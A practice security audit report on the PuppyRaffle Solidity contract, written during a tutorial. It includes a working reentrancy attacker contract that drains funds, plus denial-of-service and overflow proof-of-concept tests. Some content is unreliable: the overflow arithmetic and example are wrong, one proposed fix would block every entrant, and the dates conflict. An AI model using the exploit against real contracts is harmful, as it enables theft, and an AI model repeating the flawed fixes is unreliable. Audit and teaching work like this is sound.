PuppyRaffle Audit Report

Version 1.0

Keivou

January 8, 2025

PuppyRaffle Audit Report

Keivou

January 8, 2024

Prepared by: Keivou Lead Auditors:

- Keivou

Table of Contents

Protocol Summary

PuppyRaffle is a protocol to enter a raffle to win a cute dog NFT.

Disclaimer

This audit was performed as practice while viewing a tutorial.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings describes in this document correspond the following commit hash:

```
0804be9b0fd17db9e2953e27e9de46585be870cf
```

Scope

```
./src/
#-- PuppyRaffle.sol
```

Roles

- Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function.
- Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

Spent around 8 hours with 1 auditor, using Foundry as the main tool for finding bugs.

Issues found

Severity	Number of issues found
High	3
Medium	2
Low	1
Gas	2
Info	6
Total	14

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain raffle balance

Description: The `PuppyRaffle::refund` function does not follow CEI (Checks, Effects, Interactions) and as a result, enables participants to drain the contract balance.

In the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender` address and only after making that external call do we update the `PuppyRaffle::players` array.

```
1       function refund(uint256 playerIndex) public {
2           address playerAddress = players[playerIndex];
3           require(playerAddress == msg.sender, "PuppyRaffle: Only the
                player can refund"); // @audit Not gas efficient, use if
                instead
4           require(playerAddress != address(0), "PuppyRaffle: Player
                already refunded, or is not active"); // @audit Not gas
                efficient, use if instead
5
6   @>      payable(msg.sender).sendValue(entranceFee);
7   @>      players[playerIndex] = address(0);
8           emit RaffleRefunded(playerAddress);
9       }
```

A player who has entered the raffle could have a `fallback`/`receive` function that calls the `PuppyRaffle::refund` function again and claim another refund. They could continue the cycle till th contract balance is drained.

Impact: All fees paid by raffle entrants could be stolen by the malicious participant.

Proof of Concept:

1. User enters the raffle
2. Attacker sets up a contract with a `fallback` function that calls `PuppyRaffle::refund`
3. Attacker enters the raffle
4. Attacker calls `PuppyRaffle::refund` from their attack contract, draining the contract balance.

Proof of Code

PoC

Place the following into `PuppyRaffleTest.t.sol`:

```
1       function testReentrancyRefund() public {
2           address[] memory players = new address[](4);
3           players[0] = playerOne;
4           players[1] = playerTwo;
5           players[2] = playerThree;
6           players[3] = playerFour;
7           puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
8
9           ReentrancyAttacker attackerContract = new ReentrancyAttacker(
                puppyRaffle);
10          address attackUser = makeAddr("attackerUser");
11          vm.deal(attackUser, 1 ether);
12
13          uint256 startingAttackContractBalance = address(
                attackerContract).balance;
```

```
14          uint256 startingContractBalance = address(puppyRaffle).balance;
15
16          // attack
17          vm.prank(attackUser);
18          attackerContract.attack{value: entranceFee}();
19
20          console.log("starting attacker contract balance:",
                startingAttackContractBalance);
21          console.log("starting contract balance:",
                startingContractBalance);
22
23          console.log("ending attacker contract balance:", address(
                attackerContract).balance);
24          console.log("ending contract balance:", address(puppyRaffle).
                balance);
25      }
```

And the following contract as well:

```
1  contract ReentrancyAttacker {
2      PuppyRaffle puppyRaffle;
3      uint256 entranceFee;
4      uint256 attackerIndex;
5
6      constructor(PuppyRaffle _puppyRaffle) {
7          puppyRaffle = _puppyRaffle;
8          entranceFee = puppyRaffle.entranceFee();
9      }
10
11     function attack() external payable {
12         address[] memory players = new address[](1);
13         players[0] = address(this);
14         puppyRaffle.enterRaffle{value: entranceFee}(players);
15
16         attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
               ;
17         puppyRaffle.refund(attackerIndex);
18     }
19
20     function _stealMoney() internal {
21         if (address(puppyRaffle).balance >= entranceFee) {
22             puppyRaffle.refund(attackerIndex);
23         }
24     }
25
26     fallback() external payable {
27         _stealMoney();
28     }
29
30     receive() external payable {
31         _stealMoney();
```

```
32      }
33  }
```

Recommended Mitigation: To prevent this, we should have the `PuppyRaffle::refund` function update the `players` array before making the external call. Additionally, we should move the event emission up as well.

```
1  function refund(uint256 playerIndex) public {
2      address playerAddress = players[playerIndex];
3      require(playerAddress == msg.sender, "PuppyRaffle: Only the player
           can refund"); // @audit Not gas efficient, use if instead
4      require(playerAddress != address(0), "PuppyRaffle: Player already
           refunded, or is not active"); // @audit Not gas efficient, use
           if instead
5  +   players[playerIndex] = address(0);
6  +   emit RaffleRefunded(playerAddress);
7      payable(msg.sender).sendValue(entranceFee);
8  -   players[playerIndex] = address(0);
9  -   emit RaffleRefunded(playerAddress);
10 }
```

[H-2] Weak randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner

Description: Hashing `msg.sender`, `block.timestamp`, and `block.difficulty` together creates a predictable find number. A predictable number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Note: This additionally means that users could front-run this function and call `refund` if they see they are not the winner.

Impact: Any user can influence the winner of the raffle, winning the money and selecting the `rarest` puppy. Making the entire raffle worthless if it becomes a gas war as to who wins the raffles.

Proof of Concept:

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when/how to participate. See the [solidity blog on prevrandao] (https://soliditydeveloper.com/prevrandao). `block.difficulty` was recently replaced with prevrandao.
2. Users can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner!
3. Users can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.

Using on-chain values as a randomness seed is a [well-documented attack vector] (https://betterprogramming.pub/how-to-generate-truly-random-numbers-in-solidity-and-blockchain-9ced6472dbdf) in the blockchain space.

Recommended Mitigation: Consider using a cryptographically provable random number generator such as Chainlink VRF.

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

Description: In solidity versions prior to `0.8.0` integers were subject to integer overflows.

```
uint64 myVar = type(uint64).max;
// 18446744073709551615
myVar = myVar + 1
// [Revert] panic: arithmetic underflow or overflow (0x11)
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving feed permanently stuck in the contract!

Proof of Concept:

1. We conclude a raffle of 4 players.
2. We the have 100 players enter a new raffle, and conclude the raffle
3. `totalFees` will be:

```
totalFees = totalFees + uint64(fee);
// aka
totalFees = 0 + 200000000000000000;
// This overflows!
totalFees = 1553255926290448384;
```

4. You will not be able to withdraw due to the require line in `PuppyRaffle::withdrawFees`:

```
require(address(this).balance ==
  uint256(totalFees), "PuppyRaffle: There are currently players active!
      ");
```

Although you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not the intended design of the protocol. At some point, there will be too much `balance` in the contract that the above `require` will be impossible to hit.

Proof of Code:

PoC

```
    function testSelectWinnerOverflow() public {
        // Enter 100 players
        uint256 numPlayers = 100;
        address[] memory firstPlayers = new address[](numPlayers);
        for (uint256 i = 0; i < numPlayers; i++) {
            firstPlayers[i] = address(i);
        }

        // Enter raffle
        puppyRaffle.enterRaffle{value: entranceFee * numPlayers}(
            firstPlayers);

        // Log fees
        uint64 totalFees = 0;
        uint256 fee = address(puppyRaffle).balance / 5;
        totalFees = totalFees + uint64(fee);
        console.log("fee:", fee);
        console.log("uint64(fee):", uint64(fee));
        console.log("totalFees:", totalFees);

        // Fast forward
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        // Select winner
        puppyRaffle.selectWinner();

        // Call withdrawFees reverts because the require fails
        vm.expectRevert("PuppyRaffle: There are currently players
            active!");
        puppyRaffle.withdrawFees();
    }
```

Recommended Mitigation: There are a few possible mitigations.

1. Use a newer version of solidity, and a `uint256` instead of `uint64` for `PuppyRaffle::totalFees`.
2. You could also use the SafeMath library of OpenZeppelin for version 0.7.6 of solidity, however you would still have a ahard time with the uint64 type if too many fees are collected.
3. Remove the balance check from `PuppyRaffle::withdrawFees`.

```
-   require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

There are more attack vectors with that final require, so we recommend revoming it regardless.

Medium

[M-1] Looping through players array to check for duplicates in `PuppyRaffle::EnterRaffle` is a potential denial of service (DoS) attack, incrementing gas costs for future entrants

Description: The `PuppyRaffle::EnterRaffle` function loops through the `players` array to check for duplicates, however the longer the `PuppyRaffle::players` array is, the more checks a new player will have to make. This means the gas costs for players who enter right when the raffle starts will be dramatically lower than those who enter later. Every additional address in the `players` array is an additional check the loop will have to make.

```
1 // Check for duplicates
2 @>     for (uint256 i = 0; i < players.length - 1; i++) {
3           for (uint256 j = i + 1; j < players.length; j++) {
4               require(players[i] != players[j], "PuppyRaffle: Duplicate
                    player");
5           }
6       }
```

Impact: The gas costs for raffle entrants will greatly increase as more players enter the raffle. Discouraging later users from entering, and causing a rush at the start of a raffle to be one of the first entrants in the queue.

An attacker might make the `PuppyRaffle::players` array so big, that no one else enters, guaranteeing themselves a win.

Proof of Concept:

If we have 2 sets of 100 players enter, the gas costs will be as such:

- 1st 100 players: ~6252039 gas.
- 2nd 100 playres: ~18068129 gas.

This is almost 3x more expensive for the second 100 players.

PoC

Place the following test into `PuppyRaffleTest.t.sol`.

```
1
2 function testEnterRaffleDenialOfService() public {
3         // Enter 100 players
4         uint256 numPlayers = 100;
5         address[] memory firstPlayers = new address[](numPlayers);
6         for (uint256 i = 0; i < numPlayers; i++) {
7             firstPlayers[i] = address(i);
8         }
9
```

```
10          // See how much it costs
11          uint256 gasStart = gasleft();
12          puppyRaffle.enterRaffle{value: entranceFee * numPlayers}(
                firstPlayers);
13          uint256 gasEnd = gasleft();
14          vm.txGasPrice(1); // Set Gas Price to 1
15          uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
16          console.log("Gas used for first 100 players:", gasUsedFirst);
17
18          // Now the same but for another 100 players
19          address[] memory secondPlayers = new address[](numPlayers);
20          for (uint256 i = 0; i < numPlayers; i++) {
21              secondPlayers[i] = address(i + numPlayers);
22          }
23
24          // See how much it costs
25          uint256 gasStartSecond = gasleft();
26          puppyRaffle.enterRaffle{value: entranceFee * numPlayers}(
                secondPlayers);
27          uint256 gasEndSecond = gasleft();
28          vm.txGasPrice(1); // Set Gas Price to 1
29          uint256 gasUsedSecond = (gasStartSecond - gasEndSecond) * tx.
                gasprice;
30          console.log("Gas used for second 100 players:", gasUsedSecond);
31
32          // Assert that the second 100 is more expensive than the first
33          assert(gasUsedFirst < gasUsedSecond);
34      }
```

Recommended Mitigation: There are a few recommendations.

1. Consider allowing duplicates.Users can make new wallet addresses anyways, so a duplicate check doesn't prevent the same person from entering multiple times, only the same wallet address.
2. Consider using a mapping to check for duplicates. This would allow constant time lookup of thether a user has already entered.o

```
1  +    mapping(address => uint256) public addressToRaffleId;
2  +    uint256 public raffleId = 0;
3       .
4       .
5       .
6       function enterRaffle(address[] memory newPlayers) public payable {
7           require(msg.value == entranceFee * newPlayers.length, "
                PuppyRaffle: Must send enough to enter raffle");
8           for (uint256 i = 0; i < newPlayers.length; i++) {
9               players.push(newPlayers[i]);
10 +             addressToRaffleId[newPlayers[i]] = raffleId;
11          }
```

```
12
13 -         // Check for duplicates
14 +        // Check for duplicates only from the new players
15 +        for (uint256 i = 0; i < newPlayers.length; i++) {
16 +            require(addressToRaffleId[newPlayers[i]] != raffleId, "
       PuppyRaffle: Duplicate player");
17 +        }
18 -         for (uint256 i = 0; i < players.length; i++) {
19 -             for (uint256 j = i + 1; j < players.length; j++) {
20 -                 require(players[i] != players[j], "PuppyRaffle:
       Duplicate player");
21 -             }
22 -         }
23          emit RaffleEnter(newPlayers);
24      }
25 .
26 .
27 .
28      function selectWinner() external {
29 +        raffleId = raffleId + 1;
30          require(block.timestamp >= raffleStartTime + raffleDuration, "
               PuppyRaffle: Raffle not over");
```

[M-2] Smart contract wallets raffle winners without a `receive` or a `fallback` function will block the start of a new contest

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Users could easily call the `selectWinner` function again and non-wallet entrants could enter, but it could cost a lot due to the duplicate check and a lottery reset could get very challenging.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, making a lottery reset difficulty.

Also, true winners would not get paid out and someone else could take their money!

Proof of Concept:

1. 10 smart contract wallets enter the lottery without a fallback or receive function.
2. The lottery ends.
3. The selectWinner function wouldn't work, even though the lottery is over!

Recommended Mitigation: There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended).

2. Create a mapping of addresses -> payout amounts so winners can pull their funds out themselves with a new `claimPrize` function, putting the owness on the winner to claim their prize. (Recommended)

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing a player to incorrectly think they have not entered the raffle

Description: If a player is in the `PuppyRaffle::players` array at index 0, this will return 0, but according to the natspec, it will also return 0 if the player is not in the array.

```
1     // @return the index of the player in the array, if they are not
          active, it returns 0
2     function getActivePlayerIndex(address player) external view returns
          (uint256) {
3         for (uint256 i = 0; i < players.length; i++) {
4             if (players[i] == player) {
5                 return i; // ? would this return multiple addresses if
                      there had been multiple refunds when asking for
                      address(0)?
6             }
7         }
8         return 0;
9     }
```

Impact: A player at index 0 may incorrectly think they have not entered the raffle, and attempt to enter the raffle again, wasting gas.

Proof of Concept:

1. User enters the raffle, they are the first entrant.
2. `PuppyRaffle::getActivePlayerIndex` returns 0.
3. User thinks they have not entered correctly due to the function documentation.

Recommended Mitigation: The easiest recommendation would be to revert if the player is not in the array instead of returning 0.

You could also reserve the 0th position for any competition, but a better solution might be to return a `int256` where the function returns -1 if the player is not active.

Gas

[G-1] Unchanged state variables should be declared constant or immutable.

Reading from storage is much more expensive than reading from a constant or immutable variable

Instances:

- `PuppyRaffle::raffleDuration` should be `Immutable`.
- `PuppyRaffle::commonImageUri` should be `constant`.
- `PuppyRaffle::rareImageUri` should be `constant`.
- `PuppyRaffle::lengendaryImageUri` should be `constant`.

[G-2] Storage variables in a loop should be cached

Everytime you call `players.length` you read from storage, as opposed to memory which is more gas efficient.

```
+   uint256 playerLength = players.length;
-   for (uint256 i = 0; i < players.length - 1; i++) {
+   for (uint256 i = 0; i < playerLength - 1; i++) {
-       for (uint256 j = i + 1; j < players.length; j++) {
+       for (uint256 j = i + 1; j < playerLength; j++) {
            require(players[i] != players[j], "PuppyRaffle: Duplicate
               player"); // @audit Not gas efficient, use if instead //
                @audit Use custom error instead
        }
    }
```

Informational

[I-1] Solidity pragma should be specific, not wide

Consider using a specific version of Solidtiy in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.7.6;`, use `pragma solidity 0.8.0;`

- Found in `src/PuppuRaffle.sol`

[I-2] Using an outdated version of Solidity is not recommended.

solc frequently releases new compiler versions. USing an old version prevents access to new Solidity Security checks. We also recommend avoiding complex pragma statement.

Recommendation: Deploy with any of the following Solidity versions:

`0.8.18` The recommendations take into account:

- Risks related to recent releases
- Risks of complex code generation changes
- Risks of new language features
- Risks of Known bugs
- Use a simple pragma version that allows any of these versions. Consider using the lates version of Solidity for testing.

Please see [slither] (https://github.com/crytic/slither/wiki/Detector-Documentation#incorrect-versions-of-solidity) documentation for more information.

[I-3] Missing checks for `address(0)` when assigning values to address state variables

Assigning values to address state variables without checking for `address(0)`.

- Found in src/PuppyRaffle.sol: 8662:23:35
- Found in src/PuppyRaffle.sol: 3165:24:35
- Found in src/PuppyRaffle.sol: 9809:26:35

[I-4] `PuppyRaffle::selectWinner` does not follow CEI, which is not a best practice

It's best to keep code clean and follow CEI (Checks, Effects, Interactions).

```
1 -   (bool success,) = winner.call{value: prizePool}("");
2 -   require(success, "PuppyRaffle: Failed to send prize pool to winner"
      ); // @audit Not gas efficient, use if instead // @audit Use custom
      error instead
3     _safeMint(winner, tokenId);
4 +   (bool success,) = winner.call{value: prizePool}("");
5 +   require(success, "PuppyRaffle: Failed to send prize pool to winner"
      ); // @audit Not gas efficient, use if instead // @audit Use custom
      error instead
```

[I-5] Use of "magic" numbers is discouraged

It can be confusing to see number literals in a codebase, and it's much more readable if the numbers are given a name.

```
+   uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
+   uint256 public oncstant FEE_PERCENTAGE = 20;
+   uint256 public constant POOL_PRECISION = 100;
-   uint256 prizePool = (totalAmountCollected * 80) / 100;
-   uint256 fee = (totalAmountCollected * 20) / 100;
+   uint256 prizePool = (totalAmountCollected * PRIZE_POOL_PERCENTAGE)
    / POOL_PRECISION;
+   uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) /
    POOL_PRECISION;
```

[I-6] `PuppyRaffle::_isActivePlayer` is never used and should be removed

This function is never used and makes the contract more expensive to deploy.